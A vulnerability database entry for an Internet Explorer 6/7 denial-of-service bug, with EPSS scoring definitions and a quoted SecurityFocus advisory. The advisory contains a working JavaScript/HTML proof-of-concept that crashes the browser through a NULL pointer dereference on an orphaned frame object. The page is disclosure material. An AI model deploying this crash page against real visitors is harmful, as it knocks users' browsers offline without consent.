CVE Descriptions

Microsoft Internet Explorer 6 on Windows XP SP2 allows remote attackers to cause a denial of service (crash) by creating an object inside an iframe, deleting the frame by setting its location.href to about:blank, then accessing a property of the object within the deleted frame, which triggers a NULL pointer dereference. NOTE: it was later reported that 7.0.6000.16473 and earlier are also affected.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/19228/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. // MoBB Demo // Provided by Aviv Raff // http://aviv.raffon.net/ var orphanObject; function createOrphanObject() { orphanObject=document.frames["emptyFrame"].document.getElementById("emptyObject").object.parentWindow.document.createElement("frame"); document.frames["emptyFrame"].location.href="about:blank"; window.setTimeout('crashBrowser()',1); } function crashBrowser() { orphanObject.frameBorder="whateveryoulike"; } function insertEmptyObject() { return '<OBJECT id="emptyObject" data="nonexist.html" type="text/html"></OBJECT>'; } <iframe id="emptyFrame" src="javascript:parent.insertEmptyObject()" style="display:none"></iframe> Clicking the button below may crash your browser!<br><br> <input type='button' onClick='createOrphanObject()' value='Start Demo!'>
